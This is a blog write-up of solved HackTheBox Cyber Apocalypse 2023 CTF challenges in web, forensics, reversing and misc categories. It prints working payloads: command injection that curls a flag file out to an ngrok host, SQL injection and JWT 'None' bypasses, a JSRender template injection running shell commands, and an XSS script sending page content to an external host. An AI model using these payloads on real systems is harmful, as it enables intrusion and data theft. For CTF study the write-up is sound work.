Home Cyber Apocalypse 2023 - HackTheBox
Post
Cancel

Cyber Apocalypse 2023 - HackTheBox

Cyber Apocalypse 2023 is a very nice jeopardy-style CTF competition hosted by HackTheBox. It was a 5-day CTF played between 19th - 23rd March, 2023. This is a write-up on some of the challenges that I managed to solve during the competition.


Web


Trapped Source


  • Difficulty: very easy

Challenge has no downloadables. Starting the container and going to homepage showed a lock;

Checking the page source showed the correct PIN;

Entering it revealed the flag;


Gunhead

  • Difficulty: very easy

Site has some sort of console for running commands;

The output of the /ping command looks very similar to that generated by the ping utility. Checking burp showed the request was made to /api/ping;

Going through the downloaded source files, the code that handles the request was found in models/ReconModel.php;

This is clearly vulnerable to shell command injection. The Dockerfile showed that the flag is saved locally as /flag.txt, which I was able to read using curl to make a request to my server with the file contents;

1
{"ip":"`curl http://0cbd-102-91-4-18.ngrok.io/$(cat /flag.txt | base64 -w 0)`"}


DRobots


  • Difficulty: very easy

Site has a login page;

Going through the downloaded source, the function that handles login is clearly vulnerable to SQL Injection;

Bypassed auth successfully by setting username to " or 1=1-- -;


Passman


  • Difficulty: easy

Clicking the Create button opened a registration form, and I was able to create an account and login. The app is a password manager;

Burp showed some requests to /graphql endpoint, which is used for GraphQL queries.

Our login request generated the query;

1
{"query":"mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }","variables":{"username":"testuser","password":"testpass"}}

The implementation was found at helpers/GaphqlHelper.js in the downloaded files;

Just below the above code is another named UpdatePassword that seems interesting;

Notice how, although there is a check to ensure the user is authenticated, the function is calling db.updatePassword() with the username and password supplied by the user. updatePassword() is implemented in database.js file;

As can be seen above, the application is using user-defined username to update password, which means we could reset the password of another user. Note that the entrypoint.sh file showed that a user named admin exists.

There is no option in the web UI for changing user password. So I tried updating the request used for LoginUser as it has similar structure with UpdatePassword to reset the password of admin, and it worked!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /graphql HTTP/1.1
Host: 139.59.176.230:30434
Content-Length: 195
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Content-Type: application/json
Accept: */*
Sec-GPC: 1
Accept-Language: en-GB,en
Origin: http://139.59.176.230:30434
Referer: http://139.59.176.230:30434/dashboard
Accept-Encoding: gzip, deflate
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiaXNfYWRtaW4iOjAsImlhdCI6MTY3OTU1MDYxNn0.hHFrRgThAy4kvGO546KjdvNquPXk3NPknaJt_VvB_P4
Connection: close

{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"testpass"}}

I was able to login using admin:testpass;


Orbital


  • Difficulty: easy

Login request;

Login handler is implemented in routes.py and database.py;

The above is clearly vulnerable to SQL Injection, but the call to passwordVerify() may complicate things;

The passwordVeryify() function is simply checking to make sure the password we entered matched the hashed (MD5) password that was retrieved from the query. Since we can control the query using the SQL injection bug, we can make it return a hash whose plaintext we already know (Example: 179ad45c6ce2cb97cf1029e212046e81, which is testpass). Since the query returns only two columns (username, and password), we can use a UNION query to return our own values by setting username to " union select 'admin', '179ad45c6ce2cb97cf1029e212046e81'-- - and password to testpass;

It worked!

The lower part of the page has a listing, and clicking on export initiated a download;

The request was made to /api/export;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/export HTTP/1.1
Host: 138.68.162.218:31631
Content-Length: 28
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept: */*
Sec-GPC: 1
Accept-Language: en-GB,en
Origin: http://138.68.162.218:31631
Referer: http://138.68.162.218:31631/home
Accept-Encoding: gzip, deflate
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qYzVOVGMwTkRVd2ZRLk9YMDNVd2NRRUdKUGJUZDZfNWE5SmNISDFSb2lJa0c1NU5WRTB0V3ZGVFUifQ.ZBvxUg.ZGT_pJMLFlN-rF7GxVnxfIndbFc
Connection: close

{"name":"communication.mp3"}

The implementation is clearly vulnerable to Local File Inclusion (LFI);

From the downloaded Dockerfile, flag is saved as /signal_sleuth_firmware. Using the LFI, I was able to read it;


Didactic Octo Paddles


  • Difficulty: medium

An Express web app. Going through downloaded source code showed a hidden route /register, which allowed me to register and login;

Nothing of much interest in the dashboard. Going through more of the source code showed another route /admin;

The route is protected by a middleware, which are commonly used in Express apps for access control. The implementation is in AdminMiddleware.js;

As can be seen above, the error message we are getting when going to /admin was generated by this middleware, which means the /admin route handler in index.js was never actually used.

The application is also dangerously using the algrorithm defined in user-supplied JWT for verification (line 28), although the first check (line 13) is attempting to prevent user from bypassing verification by setting the algorithm to none. The header of the JWT issued by the website after login was {"alg":"HS256","typ":"JWT"}.

Running some local tests, I realised that the value passed in alg is case-insensitive. Since the web app is blocking use of none as the value of alg in a case-sensitive manner, setting it to None will bypass this check.

The body of the token issued to us after login decodes to;

1
{"id":2,"iat":1679553628,"exp":1679557228}

Since the database.js file showed that a user named admin is created when the app is first run, and the ID column is set to auto-increment, we can be sure that the admin’s ID is 1. So I cracted a token with alg set to None, id set to 1, and signature part of the token deleted. It worked!

1
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5NTUzNjI4LCJleHAiOjE2Nzk1NTcyMjh9.

Nothing of much interest is in the admin dashboard, only names of users. Checking the source code showed that it uses JSRender to display data, which could be vulnerable to Server Side Template Injection (SSTI) if the usernames are not properly validated;

Creating a user with name {{:7*7}} evaluated the username to 49, which confirmed the vulnerability. Dockerfile confirmed the flag is at /flag.txt, so I used the vulnerability to read it using the payload;

1
{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"testpass"}

Refreshing the admin dashboard, I got the flag;


SpyBug


  • Difficulty: medium

Login form is POSTed to /panel/login. Going through the downloaded source, here is the implementation;

Notice that the username passed to the checkUserLogin() function was not casted to a string, and was later used in a NoSQL query. This could’ve been vulnerable to NoSQL injection by passing username as a JSON object, if not for the call to bcrypt.compareSync() that validates the password entered.

Looking deeper into the code, there are routes defined for agents in routes/agents.js file;

  • /agents/register - GET request. Creates a new agent, and return the agent’s identifier and token.
  • /agents/check/:identifier/:token - GET request. Returns a code 200 HTTP response if agent is valid.
  • /agents/details/:identifier/:token - POST request. For updating agent info. Accepts a json of hostname, platform, and arch.
  • /agents/upload/:identifier/:token - Multipart POST request for uploading file to /uploads/, which is publicly accessible.

The expose upload feature is interesting. It uses some metadata checks to validate files being uploaded, which can be easily forged;

Another filter is also in place that validates uploaded file contents, but the regex used is very loose;

The above check can be passed by writing a string that matches the regex in uploaded file, independent of position;

1
2
// RIFFAAAAWAVE - Whitelisted bytes in JS comment. Totally valid
alert(1);

Looking into how agents are handled, I found that the code for updating agents info does not do any sanitation;

This is interesting because all agents are rendered at the administrators homepage after login. This could be used to execute stored XSS on the admin.

The NodeJS server runs a Puppeteer bot that authenticates as admin every 60 seconds;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
require("dotenv").config();

const puppeteer = require("puppeteer");

const browserOptions = {
  headless: true,
  executablePath: "/usr/bin/chromium-browser",
  args: [
    "--no-sandbox",
    "--disable-background-networking",
    "--disable-default-apps",
    "--disable-extensions",
    "--disable-gpu",
    "--disable-sync",
    "--disable-translate",
    "--hide-scrollbars",
    "--metrics-recording-only",
    "--mute-audio",
    "--no-first-run",
    "--safebrowsing-disable-auto-update",
    "--js-flags=--noexpose_wasm,--jitless",
  ],
};

exports.visitPanel = async () => {
  try {
    const browser = await puppeteer.launch(browserOptions);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();

    await page.goto("http://0.0.0.0:" + process.env.API_PORT, {
      waitUntil: "networkidle2",
      timeout: 5000,
    });

    await page.type("#username", "admin");
    await page.type("#password", process.env.ADMIN_SECRET);
    await page.click("#loginButton");
    await page.waitForTimeout(5000);
    await browser.close();
  } catch (e) {
    console.log(e);
  }
};

On testing XSS through agents info update locally, the injection worked but the browser blocks the code;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /agents/details/d9624cf2-3dd5-40ad-8132-fd9a292e1ef3/405cc6bc-484f-4e94-aed6-396144874213 HTTP/1.1
Host: debian.local:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en
Accept-Encoding: gzip, deflate
Cookie: connect.sid=s%3AvcdDZtZajSbryflLimysDJ4F8TdrUHxb.vFCYANEbw4vcD9se%2ByefOO7WT6sdMQf9%2F4tRJ3%2BbR2M
Connection: close
Content-Type: application/json
Content-Length: 116

{"hostname":"<script>alert(1)</script>", "platform":"linux", "arch":"x86"}

index.js showed the server is using some XSS-prevention headers (Content Security Policy);

While the above would block all JS embedded directly, the script-src 'self' policy would allow injected <script> tags that load files on the same origin. This is a big deal since we already have an open file upload vulnerability on the server.

To exploit this, I wrote a JS payload payload.js that satisfies the regex filter. When loaded, this will base64-encode the current page content and send it to my server;

1
2
// RIFFAAAAWAVE
window.location = `http://1e90-197-210-71-140.ngrok.io/?loot=${btoa(document.body.innerHTML)}`

I then wrote a python script exploit.py to upload the payload and inject the XSS;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
#-----------------------------------------
# SpyBug - Cyber Apocalypse 2023 solution.
#                          Author: 4g3nt47
#-----------------------------------------

import requests, json

api = "http://139.59.173.68:31674"
print("[*] Registering agent...")
data = json.loads(requests.get(f"{api}/agents/register").text)
id = data["identifier"]
token = data["token"]
print(f"[+] id: {id}\n[+] token: {token}")

print("[*] Uploading payload...")
url = api + "/uploads/" + requests.post(f"{api}/agents/upload/{id}/{token}", files={'recording': ('payload.wav', open('payload.js'), 'audio/wave')}).text
print(f"[+] Payload uploaded to: {url}")

print("[*] Injecting XSS payload...")
print(requests.post(f"{api}/agents/details/{id}/{token}", json={"hostname":"<script src='/uploads/" + url.split("/")[-1] + "'></script>", "platform":"haha", "arch":"haha"}).text)

The exploit ran successfully;

After a few seconds, I got a callback;

The decoded base64 contains the flag;

1
<div class="container login mt-5 mb-5"><div class="row"><div class="col-md-10"><h1><i class="las la-satellite-dish"></i>&nbsp;Spybug v1</h1></div><div class="col-md-2 float-right"><a class="btn login-btn mt-3" href="/panel/logout">Log-out</a></div></div><hr><h2>Welcome back HTB{p01yg10t5_4nd_35p10n4g3}</h2><hr><h3><i class="las la-laptop"></i>&nbsp;Agents</h3><table class="w-100"><thead><tr></tr><tr><th>ID</th><th>Hostname</th><th>Platform</th><th>Arch</th></tr></thead><tbody><tr><td>7ecf63f2-25bb-45f2-9a7a-54fd3583bda5</td><td><script src="/uploads/a6f135d0-aed4-47eb-a374-b42c91b9553f"></script></td></tr></tbody></table></div>




Forensics


Roten


  • Difficulty: easy

Downloaded files contain a PCAP file;

Loading it up in wireshark and setting a filter to only show HTTP traffic showed lots of 404 responses, which is common in web bruteforce;

Following the HTTP stream confirmed this as the User-Agent was that of wfuzz, a web fuzzer;

This could be the attacker. Searching for POST requests found one for a PHP file;

The PHP file was obfuscated. At the last line, it calls eval() to execute the payload after self-deobfuscation. I replaced eval with echo, which simply prints the decoded payload. The flag was inside;


Packet Cyclone


  • Difficulty: easy

The downloaded files contain some .evtx log files. I installed libevtx-utils, which provides evtxexport for reading .evtx files on linux. The file Microsoft-Windows-Sysmon%4Operational.evtx contains the sysmon event logs, and was exported using;

1
extxexport Microsoft-Windows-Sysmon%4Operational.evtx > sysmon.txt

I loaded the sysmon.txt file and the rules in sigma_rules/ for guidance, and was able to answer the questions;


Relic Maps


  • Difficulty: medium

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

No downloadables for this challenge, so it starts blind. Using curl, I downloaded the file linked above. file could not identify it’s type;

Running strings on the file revealed some commands that reference 2 interesting URLs;

The files were downloaded. topsecret-maps.one is another blob, but window.bat is an obfuscated batch file with some base64 encoded blobs;

This batch deobfuscator did a great job of making the file more readable. After a bit of manual cleanup, it became obvious that the batch file is using powershell to decrypt, decompress, and execute a payload. The segment of interest is;

As you can see above;

  • Line 1 - 7 - Loads a file named script.bat, split it based on newlines, and select all lines that starts with ::
  • Line 8 - Base64 decode the lines selected above
  • Line 9 - 13 - Initialize an AES cipher with;
    • Mode: CBC
    • IV: 2hn/J717js1MwdbbqMn7Lw==
    • Key: 0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=

The above information is enough to decrypt the payload in script.bat, but we do not have access to the file. However, the deobfuscated window.bat file does have a line that starts with :: + a long base64 encoded blob;

So I copied it and head over to CyberChef, and was able to decrypt it using the following recipe;

I decoded the base64 encoded output from Cyber Chef and saved it locally. file identified it as gzip, but was unable to extract;

binwalk however has no such weakness, and was able to extract the file, which was indentified as a 32-bit windows executable;

Loading the binary in radare2 and dumping the strings table revealed the flag;

This could also be accomplished by running strings in 16-bit little endian mode;




Rev


She Shells C Shells


  • Difficulty: very easy

A bit of reversing revealed the logic used in password validation inside the function func_flag();

The above translate to;

fgets(_password_entered, 256, stdin);
for ( i = 0; i <= 0x4C; ++i )
  _password_entered[i] ^= m1[i];
if ( memcmp(_password_entered, &t, 0x4DuLL) )
  return 0xFFFFFFFFLL;
for ( j = 0; j <= 0x4C; ++j )
  _password_entered[j] ^= m2[j];
printf("Flag: %s\n", _password_entered);
return 0LL;

Setting a breakpoint and stepping through the function;

  • m1 - 6e3fc3b9d78d1558e50ffbac224d57dbdfcfedfc1c846ad81ca617c4c1bfa08587a143d4584f8da8b2f27ca3b98637dabf070a7e73df5c60aecacfb9e0deff0070b9e45fc89ab351f5aea87e8d
  • t - 2c4ab799a3e57078936e97d9476d38bdffbb85996fe14aab74c37ba8b29fd7ecebcd63b23923e184929609c699f258facb6f6f5e1fbe2b138ea5a99993ab8f701cc0c43ea6fe933590c3c910e9
  • m2 - 641ef5e2c097441bf85ff9be185d488e91e4f6f15c8d269e2ba102f7c6f7e4b398fe57ed4a4bd1f6a1eb09c699f258facb6f6f5e1fbe2b138ea5a99993ab8f701cc0c43ea6fe933590c3c910e9

Note that 0x4c (76) is the highest index used in the loop, meaning our passkey is a maximum of 77 characters long.

Knowing this, I wrote a script to crack it;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
#------------------------------------------------------
# She Shells C Shells - Cyber Apocalypse 2023 solution.
#                                       Author: 4g3nt47
#------------------------------------------------------

m1 = b"".fromhex("6e3fc3b9d78d1558e50ffbac224d57dbdfcfedfc1c846ad81ca617c4c1bfa08587a143d4584f8da8b2f27ca3b98637dabf070a7e73df5c60aecacfb9e0deff0070b9e45fc89ab351f5aea87e8d")
t  = b"".fromhex("2c4ab799a3e57078936e97d9476d38bdffbb85996fe14aab74c37ba8b29fd7ecebcd63b23923e184929609c699f258facb6f6f5e1fbe2b138ea5a99993ab8f701cc0c43ea6fe933590c3c910e9")
m2 = b"".fromhex("641ef5e2c097441bf85ff9be185d488e91e4f6f15c8d269e2ba102f7c6f7e4b398fe57ed4a4bd1f6a1eb09c699f258facb6f6f5e1fbe2b138ea5a99993ab8f701cc0c43ea6fe933590c3c910e9")

plain_pass = ""
for i in range(77):
  for c in range(256):
    if (c ^ m1[i]) == t[i]:
      plain_pass += str(chr(c))
      break

print("[+] plain_pass: " + plain_pass)
plain_pass = plain_pass.encode()
flag = ""
for i in range(42):
  flag += str(chr(t[i] ^ m2[i]))
print("[+] flag: " + flag)


Hunting License


  • DIfficulty: easy

This is a Q&A based challenge. Binary on server differs with the one given to players. Solved all questions after a bit of reversing;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
#--------------------------------------------------
# Hunting License - Cyber Apocalypse 2023 solution.
#                                   Author: 4g3nt47
#--------------------------------------------------

from pwn import *

key = b"".fromhex("477b7a6177527d77557a7d727f323232")
decoded = ""
for i in range(len(key)):
  decoded += chr(key[i] ^ 19)
print(decoded)

p = remote("165.232.98.6", 31978)
print(p.readuntil(b"> ").decode())
p.sendline(b"elf")
print(p.readuntil(b"> ").decode())
p.sendline(b"x86-64")
print(p.readuntil(b"> ").decode())
p.sendline(b"libreadline")
print(p.readuntil(b"> ").decode())
p.sendline(b"0x401172")
print(p.readuntil(b"> ").decode())
p.sendline(b"5")
print(p.readuntil(b"> ").decode())
p.sendline(b"PasswordNumeroUno")
print(p.readuntil(b"> ").decode())
p.sendline(b"0wTdr0wss4P")
print(p.readuntil(b"> ").decode())
p.sendline(b"P4ssw0rdTw0")
print(p.readuntil(b"> ").decode())
p.sendline(b"19")
print(p.readuntil(b"> ").decode())
p.sendline(decoded.encode())
print(p.readuntil(b"}`").decode())
p.close()




Misc


Persistence


  • Difficulty: very easy

Thousands of years ago, sending a GET request to /flag would grant immense power and wisdom. Now it’s broken and usually returns random data, but keep trying, and you might get lucky… Legends say it works once every 1000 tries.

From the above description, it’s clear that this is a bruteforce challenge. So I wrote a script to deal with it;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
#----------------------------------------------
# Persistence - Cyber Apocalypse 2023 solution.
#                               Author: 4g3nt47
#----------------------------------------------

import requests, threading, time

def get_flag():
  while True:
    # print("[*] Trying...")
    r = requests.get("http://206.189.112.129:30585/flag").text.strip()
    if "HTB" in r:
      print(f"[+] Flag: {r}")
      break

for i in range(10):
  t = threading.Thread(target=get_flag)
  t.start()
1
[+] Flag: HTB{y0u_h4v3_p0w3rfuL_sCr1pt1ng_ab1lit13S!}


Restricted


  • Difficulty: easy

Dockerfile showed a user restricted created without a password;

I was able to login over SSH without password;

Can’t run many commands. PATH is marked read-only, and set to /home/restricted/.bin as defined in bash_profile used to setup the user. Can’t also use / in command names, so can’t supply full paths;

Since .bash_profile is only loaded after a normal shell login, we could bypass this by passing commands to execute as string arguments to the SSH binary. This way, .bash_profile is never loaded;


Remote Computation


  • Difficulty: easy

The alien species use remote machines for all their computation needs. Pandora managed to hack into one, but broke its functionality in the process. Incoming computation requests need to be calculated and answered rapidly, in order to not alarm the aliens and ultimately pivot to other parts of their network. Not all requests are valid though, and appropriate error messages need to be sent depending on the type of error. Can you buy us some time by correctly responding to the next 500 requests?

This seems to be a programming exercise. Connecting to the service, there is a help menu that explains all the requirements;

Knowing this, I wrote a script to automate this;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python3
#-----------------------------------------------------
# Remote Computation - Cyber Apocalypse 2023 solution.
#                                      Author: 4g3nt47
#-----------------------------------------------------

from pwn import *

p = remote("139.59.176.230", 30021)
print(p.recvuntil(b"> ").decode())
p.sendline(b"1")
count = 0
while True:
  try:
    count += 1
    query = p.recvuntil(b"> ").decode()
    query = query.split("]: ")[1].split(" = ")[0].strip()
    print(f"[{count}] query: {query}")
    ans = ""
    try:
      ans = eval(query) # Wr1t1ng s4f3 c0d3 1s my p45510n :)
      if ans < -1337 or ans > 1337:
        ans = "MEM_ERR"
      else:
        ans = "%.2f" %(ans)
    except ZeroDivisionError:
      ans = "DIV0_ERR"
    except SyntaxError:
      ans = "SYNTAX_ERR"
    print(f"[+] {ans}")
    p.sendline(ans.encode())
  except Exception as e:
    print(str(e))
    p.interactive()
    break
p.close()
1
HTB{d1v1d3_bY_Z3r0_3rr0r}


Janken


  • Difficulty: easy

As you approach an ancient tomb, you’re met with a wise guru who guards its entrance. In order to proceed, he challenges you to a game of Janken, a variation of rock paper scissors with a unique twist. But there’s a catch: you must win 100 rounds in a row to pass. Fail to do so, and you’ll be denied entry.

After a bit of reversing, the function game() was found to be responsible for playing a round and deciding the winner. It uses the standard C function strstr() to check if the choice made by computer (the needle), which can be rock, paper, or scissors, matches that made by user (the haystack). If it does, user wins.

Since strstr() scans the whole haystack for a match independent of position, and the program does not implement any length validation during the check, a user can simply enter the combination of all three possible choices (rock + paper + scissors), which will always make strstr() to return non-zero, giving user the win. I automated this in a simple script;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
#-----------------------------------------
# Janken - Cyber Apocalypse 2023 solution.
#                          Author: 4g3nt47
#-----------------------------------------

from pwn import *

p = remote("161.35.168.118", 30716)
print(p.readuntil(b">> ").decode())
p.sendline(b"1")
count = 0
while count < 99:
  print(p.readuntil(b">> ").decode())
  p.sendline(b"rockpaperscissors")
  count += 1
p.interactive()
1
[+] You are worthy! Here is your prize: HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}
This post is licensed under CC BY 4.0 by the author.
Contents